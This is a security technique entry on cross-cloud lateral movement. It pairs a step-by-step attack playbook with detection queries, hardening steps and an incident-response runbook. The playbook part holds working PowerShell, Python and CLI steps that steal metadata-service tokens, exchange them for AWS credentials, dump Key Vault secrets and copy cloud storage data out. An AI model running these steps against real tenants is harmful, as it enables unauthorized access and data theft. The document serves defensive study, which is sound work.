| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-027 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | Cross-Cloud (Azure ↔ AWS ↔ GCP) |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All cloud platforms with cross-cloud identity federation enabled |
| Patched In | Mitigations via strict cross-tenant/cross-account isolation, workload identity federation controls |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Cross-cloud resource access is an attack where an attacker leverages credentials, tokens, or identities from one cloud provider (e.g., Azure Entra ID) to gain unauthorized access to resources in another cloud provider (e.g., AWS, GCP, or a third-party cloud). The attacker exploits misconfigured cross-cloud trust relationships, overly permissive federated identity configurations, or exposed cloud credentials (API keys, service account keys) to pivot laterally across cloud boundaries. This technique is especially effective in organizations with hybrid or multi-cloud architectures where credential isolation is weak.
Attack Surface: Cross-cloud identity federation (Workload Identity Federation), federated AWS STS tokens via Azure, GCP service account key files stored in Azure Key Vault, Azure Managed Identities with permissions across multiple subscriptions/clouds, shared OAuth tokens, and exposed cloud credentials in shared storage or CI/CD pipelines.
Business Impact: Unrestricted lateral movement across multiple cloud providers; complete infrastructure compromise. An attacker can access compute resources, databases, storage, and sensitive data across AWS, Azure, and GCP simultaneously, with no requirement to compromise separate credentials for each cloud. This enables ransomware deployment, data exfiltration, and long-term persistence across disparate environments.
Technical Context: Cross-cloud attacks are typically executed by insiders, supply chain compromises, or attackers with prior access to one cloud. The attack is extremely difficult to detect because legitimate cross-cloud integrations use the same mechanisms (identity federation, shared credentials) as malicious actors.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.1.1 | Ensure Cloud IAM policies follow principle of least privilege |
| DISA STIG | AC-3 | Access Enforcement across cloud boundaries |
| CISA SCuBA | AWS.1, Azure.1, GCP.1 | Enforce MFA and strict access controls across clouds |
| NIST 800-53 | CA-7(1) | Continuous Monitoring across all cloud platforms |
| GDPR | Art. 5(1)(f) | Integrity and Confidentiality – cross-cloud data transfer controls |
| DORA | Art. 21(3) | Third-party cloud service security controls |
| NIS2 | Art. 21(1)(a) | Multi-cloud incident detection and response |
| ISO 27001 | A.8.1.3 | Segregation of Duties across cloud providers |
| ISO 27005 | 8.2.3 | Supply Chain & Third-Party Risk (cloud integration) |
Supported Platforms:
Tools & Dependencies:
PowerShell – Enumerate Azure-to-AWS Trust
# Check for AWS IAM role configured in Azure
Get-AzADServicePrincipal -Filter "DisplayName eq 'AWS'" | Select-Object *
# Check for Workload Identity Federation configuration
Get-AzADApplication -Filter "StartsWith(DisplayName, 'aws-')" |
ForEach-Object {
$app = $_
Get-AzADAppFederatedIdentityCredential -ObjectId $app.Id
}
# Look for exposed AWS credentials in Key Vault
Get-AzKeyVaultSecret -VaultName "YOUR-VAULT" |
Where-Object { $_.Name -like "*aws*" }
What to Look For:
# List all subscriptions accessible
az account list --output table
# For each subscription, check role assignments
az role assignment list --all --output table | grep -E "Contributor|Owner|Administrator"
# Check for managed identities with cross-subscription permissions
az identity list --output table
What to Look For:
# List all IAM roles that can be assumed from other accounts
aws iam list-roles | jq '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS != null)'
# Check for roles with external principal
aws iam get-role --role-name ExampleRole | jq '.Role.AssumeRolePolicyDocument'
What to Look For:
AssumeRolePolicyDocument containing external AWS account IDs or Entra ID principalsSupported Versions: Entra ID with Workload Identity Federation; AWS IAM with OIDC provider
Objective: Gain access to Azure credentials that are federated to AWS.
Command (PowerShell - simulate compromised Managed Identity):
# Simulate running on an Azure VM with Managed Identity
# This is how attackers get the initial token
$response = Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" `
-Headers @{"Metadata"="true"} `
-UseBasicParsing
$azureToken = ($response.Content | ConvertFrom-Json).access_token
Write-Output "Azure Token obtained: $($azureToken.Substring(0, 50))..."
Expected Output:
Azure Token obtained: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik5XWT...
What This Means:
OpSec & Evasion:
Objective: Use Azure token to request AWS STS credentials via federated OIDC.
Command (Python - using AWS STS assume role with OIDC):
import json
import requests
import boto3
# 1. Obtain Azure token (from Managed Identity)
azure_response = requests.get(
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/",
headers={"Metadata": "true"}
)
azure_token = azure_response.json()['access_token']
# 2. Configure AWS STS client
sts = boto3.client('sts')
# 3. Assume AWS role using Entra ID OIDC token
# This assumes AWS has been configured with OIDC provider pointing to Entra ID
response = sts.assume_role_with_web_identity(
RoleArn="arn:aws:iam::123456789012:role/EntraIDFederatedRole",
RoleSessionName="attacker-session",
WebIdentityToken=azure_token,
DurationSeconds=3600
)
# 4. Extract AWS credentials
aws_credentials = response['Credentials']
access_key = aws_credentials['AccessKeyId']
secret_key = aws_credentials['SecretAccessKey']
session_token = aws_credentials['SessionToken']
print(f"AWS Access Key: {access_key}")
print(f"AWS Secret: {secret_key}")
print(f"Session Token: {session_token}")
Expected Output:
AWS Access Key: ASIAIOSFODNN7EXAMPLE
AWS Secret: wJalrXUtnFEMI/K7MDENG/bPxRfiCYzWILWEX...
Session Token: AQoEXAMPLEH4aoRH0gNCAPy...
What This Means:
OpSec & Evasion:
Objective: Use AWS credentials to pivot to S3, EC2, RDS, or other sensitive resources.
Command (AWS CLI with obtained credentials):
export AWS_ACCESS_KEY_ID="ASIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYzWILWEX..."
export AWS_SESSION_TOKEN="AQoEXAMPLEH4aoRH0gNCAPy..."
# List all S3 buckets
aws s3 ls
# List EC2 instances
aws ec2 describe-instances --region us-east-1
# Dump RDS database snapshots
aws rds describe-db-snapshots --region us-east-1
# Extract data from S3
aws s3 cp s3://sensitive-bucket/backup.sql ./backup.sql
Expected Output:
2023-12-01 10:23:45 secrets-bucket
2023-12-01 10:24:12 database-backups
2023-12-01 10:25:00 customer-data
Instances:
i-0abcd1234efgh5678 t3.xlarge running 10.0.1.100
What This Means:
OpSec & Evasion:
Supported Versions: AWS IAM with exposed GCP service account keys; GCP with misconfigured IAM
Objective: Find GCP credentials stored unencrypted in AWS (S3, CodeBuild environment, or Lambda code).
Command (AWS CLI - search for exposed keys):
# Search S3 for JSON files containing GCP credentials
aws s3api list-objects-v2 --bucket "company-backups" --prefix "gcp" |
jq '.Contents[].Key' |
while read key; do
aws s3api get-object --bucket "company-backups" --key "$key" - |
grep -l "google_oauth2_client_id\|private_key_id\|type.*service_account"
done
# Or search in Lambda environment variables
aws lambda list-functions | jq '.Functions[].FunctionName' |
while read func; do
aws lambda get-function-configuration --function-name "$func" |
jq '.Environment.Variables' |
grep -l "GCP\|google\|gcloud"
done
What to Look For:
"type": "service_account"Objective: Retrieve the actual credentials from AWS storage.
Command:
# Download service account key from S3
aws s3api get-object --bucket "company-backups" --key "gcp-credentials.json" gcp-credentials.json
# View the key
cat gcp-credentials.json
Expected Output:
{
"type": "service_account",
"project_id": "my-gcp-project",
"private_key_id": "1234567890abcdef",
"private_key": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEA...\n-----END RSA PRIVATE KEY-----\n",
"client_email": "attacker-sa@my-gcp-project.iam.gserviceaccount.com",
"client_id": "123456789",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/..."
}
What This Means:
Objective: Use the service account key to gain GCP access.
Command (gcloud):
# Activate service account
gcloud auth activate-service-account --key-file=gcp-credentials.json
# List GCP projects
gcloud projects list
# List compute instances
gcloud compute instances list --project=my-gcp-project
# Dump data from Cloud Storage buckets
gsutil ls gs://
# Copy sensitive data
gsutil -m cp -r gs://sensitive-bucket/data ./data/
Expected Output:
PROJECT_ID NAME
my-gcp-project My Production
prod-database Production DB
dev-environment Development
NAME ZONE STATUS
web-server-01 us-central1-a RUNNING
database-server us-central1-a RUNNING
What This Means:
OpSec & Evasion:
Supported Versions: Any multi-cloud environment with shared credentials storage (S3, Azure Blob, CI/CD pipeline variables)
Objective: Find credentials for multiple cloud providers in a central repository (e.g., Azure Key Vault, AWS Secrets Manager, CI/CD variables).
Command (Azure CLI - enumerate Key Vault secrets):
# List all secrets in Key Vault
$vault = "company-secrets-vault"
Get-AzKeyVaultSecret -VaultName $vault | Select-Object Name
# Retrieve AWS credentials from Key Vault
$awsAccessKey = Get-AzKeyVaultSecret -VaultName $vault -Name "aws-access-key" -AsPlainText
$awsSecretKey = Get-AzKeyVaultSecret -VaultName $vault -Name "aws-secret-key" -AsPlainText
$gcpKey = Get-AzKeyVaultSecret -VaultName $vault -Name "gcp-service-account" -AsPlainText | ConvertFrom-Json
Write-Output "AWS Access Key: $awsAccessKey"
Write-Output "GCP Service Account: $($gcpKey.client_email)"
Expected Output:
Name
----
aws-access-key
aws-secret-key
gcp-service-account
github-token
databricks-token
What This Means:
Objective: Authenticate to each cloud provider using the discovered credentials.
Command (Multi-cloud authentication):
# AWS
export AWS_ACCESS_KEY_ID="$awsAccessKey"
export AWS_SECRET_ACCESS_KEY="$awsSecretKey"
aws ec2 describe-instances
# GCP
gcloud auth activate-service-account --key-file=<(echo "$gcpKey" | base64 -d)
gcloud compute instances list
# GitHub
gh auth login --with-token < <(echo "$githubToken")
gh api user
# Databricks
curl -H "Authorization: Bearer $databricksToken" https://api.databricks.com/api/2.0/clusters/list
What This Means:
URL: https://learn.microsoft.com/en-us/cli/azure/
Version: 2.40+
Usage: Enumerate Azure subscriptions, managed identities, and cross-cloud permissions.
az account list # List subscriptions
az role assignment list --all # List all role assignments
az identity list # List managed identities
az keyvault secret list --vault-name VAULT_NAME # List secrets
URL: https://aws.amazon.com/cli/
Version: 2.13+
Usage: Interact with AWS services, assume cross-account roles, list resources.
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/CrossAccountRole --role-session-name attacker
aws s3 ls # List S3 buckets
aws ec2 describe-instances # List EC2 instances
URL: https://cloud.google.com/sdk/docs/install
Version: Latest
Usage: Authenticate to GCP and query resources.
gcloud auth activate-service-account --key-file=gcp-credentials.json
gcloud compute instances list
URL: https://github.com/trufflesecurity/truffleHog (for credential detection)
Version: Latest
Usage: Detect exposed credentials in git repos and cloud storage.
truffleHog filesystem . --json
Rule Configuration:
aws_cloudtraileventName, principalId, sourceIPAddress, userAgentSPL Query:
index=aws_cloudtrail eventName="AssumeRole"
| where json_extract(requestParameters, "$.roleArn") contains "arn:aws:iam::"
| stats count by principalId, sourceIPAddress, json_extract(requestParameters, "$.roleArn")
| where count > 5
What This Detects:
Manual Configuration Steps:
count > 5Rule Configuration:
gcp_cloud_auditprincipalEmail, sourceIPAddress, timestamp, severitySPL Query:
index=gcp_cloud_audit principalEmail="*@iam.gserviceaccount.com"
| where sourceIPAddress NOT IN ("10.0.0.0/8", "172.16.0.0/12")
| stats count, latest(timestamp) as last_auth by principalEmail, sourceIPAddress
| where count > 1
What This Detects:
Rule Configuration:
SigninLogs, AuditLogsAppDisplayName, ClientAppUsed, OperationNameKQL Query:
SigninLogs
| where AppDisplayName contains "AWS" or AppDisplayName contains "amazon"
| where ClientAppUsed != "Mobile Apps and Desktop clients"
| summarize Count = count(), DistinctIPs = dcount(IPAddress) by UserPrincipalName, AppDisplayName, TimeGenerated
| where Count > 3 and DistinctIPs > 1
What This Detects:
Manual Configuration Steps:
KQL Query:
AuditLogs
| where OperationName contains "Secret" and OperationName contains "Get"
| where TargetResources[0].displayName contains "gcp" or TargetResources[0].displayName contains "aws"
| summarize AccessCount = count() by InitiatedBy, TimeGenerated
| where AccessCount > 5 in 1h
Alert Name: Suspicious Cross-Cloud Resource Access
Manual Configuration Steps:
Implement Strict Cross-Cloud Trust Controls:
Manual Steps (Azure + AWS Workload Identity Federation):
Provider URL: https://login.microsoftonline.com/YOUR-TENANT-ID/v2.0
Audience: YOUR-CLIENT-ID
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::ACCOUNT_ID:oidc-provider/..."
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"sts.amazonaws.com/sub": "SPECIFIC-SERVICE-PRINCIPAL-ID"
}
}
}
]
}
Enforce Principle of Least Privilege:
Manual Steps (Azure):
Command (PowerShell):
# Remove overly permissive roles
$identity = Get-AzUserAssignedIdentity -Name "MyIdentity"
Get-AzRoleAssignment -ObjectId $identity.PrincipalId |
Where-Object { $_.RoleDefinitionName -eq "Contributor" } |
Remove-AzRoleAssignment -Confirm:$false
# Assign specific role
New-AzRoleAssignment -ObjectId $identity.PrincipalId `
-RoleDefinitionName "Storage Blob Data Reader" `
-Scope "/subscriptions/SUB_ID/resourceGroups/RG_NAME/providers/Microsoft.Storage/storageAccounts/ACCOUNT_NAME"
Credential Isolation and Rotation:
Manual Steps:
Enable Cloud Audit Logging:
AWS CloudTrail:
aws cloudtrail create-trail --name cross-cloud-audit --s3-bucket-name audit-bucket
aws cloudtrail start-logging --trail-name cross-cloud-audit
GCP Cloud Audit Logs:
gcloud logging sinks create cross-cloud-audit \
logging.googleapis.com/logs/cloudaudit.googleapis.com \
--log-filter='resource.type=("gce_instance" OR "k8s_cluster")'
Azure Activity Logs:
Validate Audit Logging:
# Verify audit logging is enabled
Get-AzKeyVaultSecret -VaultName "vault-name" -ErrorAction Stop
Step 1: Identify Compromised Principal
# Azure
$principal = Get-AzADServicePrincipal -DisplayName "COMPROMISED-SP"
$principal.Id
# AWS
aws iam get-user --user-name compromised-user
aws sts get-caller-identity
Step 2: Revoke Credentials Immediately
# Azure
Remove-AzADAppCredential -ApplicationId $appId -Confirm:$false
# AWS
aws iam delete-access-key --access-key-id AKIAIOSFODNN7EXAMPLE
aws iam delete-user-policy --user-name compromised-user --policy-name ALL_PERMISSIONS
# GCP
gcloud iam service-accounts keys delete KEY_ID --iam-account=SA@PROJECT.iam.gserviceaccount.com
Step 3: Audit Cross-Cloud Access
# Check what resources were accessed in AWS
aws cloudtrail lookup-events --lookup-attributes AttributeKey=PrincipalId,AttributeValue=PRINCIPAL_ID
# Check GCP resource modifications
gcloud logging read "protoPayload.authorizationInfo.granted:true" --limit 1000 --format json
Step 4: Hunt for Lateral Movement
// Sentinel: Find all resources accessed by compromised principal
CloudAppEvents
| where AccountObjectId == "compromised-oid"
| summarize APIOperations = dcount(OperationName), ResourcesAccessed = dcount(tostring(ResourceId))
| where APIOperations > 100
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] Azure App Proxy RCE | Attacker compromises Azure App Proxy, gains code execution |
| 2 | Credential Access | [CA-UNSC-007] Key Vault Secret Extraction | Attacker dumps multi-cloud credentials from Key Vault |
| 3 | Lateral Movement | [LM-AUTH-027] | Attacker uses Azure credentials to access AWS and GCP |
| 4 | Privilege Escalation | [PE-VALID-010] Azure Role Assignment Abuse | Attacker grants themselves Owner role in cross-cloud subscriptions |
| 5 | Impact | Collection & Exfiltration | Attacker exfiltrates data from S3, GCP Cloud Storage, and Azure Blob |
Cross-Cloud Resource Access enables attackers to move laterally across Azure, AWS, GCP, and other cloud providers using federated identities, shared credentials, or token exchanges. This attack is particularly dangerous because it bypasses cloud-specific security controls and allows simultaneous compromise of all connected platforms.
Critical Mitigations:
Detection focuses on cross-cloud auth patterns (STS assume-role, cross-cloud API calls, federated token usage) rather than individual cloud metrics.